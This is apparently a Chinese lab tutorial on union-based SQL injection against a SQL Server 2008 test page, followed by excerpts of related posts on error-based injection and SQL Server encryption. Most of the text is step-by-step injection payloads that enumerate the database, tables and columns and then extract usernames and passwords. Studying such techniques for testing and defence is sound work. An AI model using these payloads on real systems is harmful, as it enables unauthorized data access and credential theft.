sql注入 sqlserver聯合查詢

2021-10-02 18:45:25 字數 1838 閱讀 6474

實驗環境:sqlserver 2008

實驗步驟:

一、判斷是否有注入

分別輸入ip/1.php?id=1 and 1=1和ip/1.php?id=1 and 1=2可判斷出該處存在注入

二、判斷顯示位

1.輸入 order by 3,顯示出第三列

2.輸入 order by 4,顯示下面情況,說明顯示位有3列

三、檢視資料庫

在瀏覽器中輸入: union select null,db_name(),null,可看到資料庫名為test

四、檢視使用者名稱

輸入: union select null,user_name(),null,可看到使用者在資料庫中的名為dbo

五、檢視指定資料庫有哪些表(注:這裡的表是指使用者的表)

1.輸入: union select null,name,null from test.sys.sysobjects where xtype='u',這裡可看到該資料庫有users表

2.輸入: union select  top 1 null,name,null from test.sys.sysobjects where xtype='u' and name !='users'可查詢非users的表,如下圖:

六、檢視對應表的列

1.輸入: union select  top 1 null,name,null  from test.sys.syscolumns where id=object_id('users') 可看到第一列;

2.輸入: union select  top 1 null,name,null  from test.sys.syscolumns where id=object_id('users') and name !='id';可看到第二列,以此類推……

七、檢視使用者名稱和密碼資訊

輸入: union select  top 1 null,username,password  from users where username!='zs';可看到第二個使用者的使用者名稱和密碼

第三個使用者名稱和密碼,可輸入:?id=-1 union select top 1 null,username,password from users where username !='zs' and username !='......',以此類推……

SQL注入 sql server

談到sql注入,不得不提它的本質,把使用者的輸入資料當做 來執行。兩個關鍵條件,第乙個是使用者能夠控制的輸入 第二個是程式要執行的 拼接了使用者輸入的資料 按照注入的技術型別可分解為 顯錯注入和盲注入,其中盲注入可分為,聯合查詢注入,堆查詢注入,dns查詢注入,報錯注入,延時注入和布林注入。這篇文章...

sql注入 sqlserver報錯注入

該注入的條件是必須有報錯資訊 用到函式convert int,select top 1 db name 其含義是將第二個引數的值轉換成第乙個引數的int型別 一 開啟檔案,如下圖所示,有報錯資訊 二 檢視資料庫 輸入 and 1 convert int,select top 1 db name 這裡...

SQL Server加密與SQL注入

sql server上的加密 sql server上內建了加密用來保護各種型別的敏感資料。在很多時候,這個加密對於你來說是完全透明的 當資料被儲存時候被加密,它們被使用的時候就會自動加密。在其他的情況下,你可以選擇資料是否要被加密。sql server可以加密下列這些元件 密碼 儲存過程,檢視,觸發...